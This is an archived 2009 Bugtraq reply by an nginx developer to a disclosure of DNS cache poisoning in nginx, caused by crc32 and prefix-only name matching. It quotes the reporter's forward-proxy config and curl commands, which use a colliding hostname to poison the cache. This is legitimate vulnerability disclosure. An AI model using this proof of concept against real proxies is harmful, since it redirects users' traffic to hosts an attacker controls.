bugtraq - Re: nginx internal DNS cache poisoning

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu, 17 Sep 2009 17:47:13 +0400
From: Maxim Dounin <mdounin@...unin.ru>
To: nginx@...oev.ru
Cc: bugtraq@...urityfocus.com
Subject: Re: nginx internal DNS cache poisoning

Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isn't supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Don't do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldn't be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.com's real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
>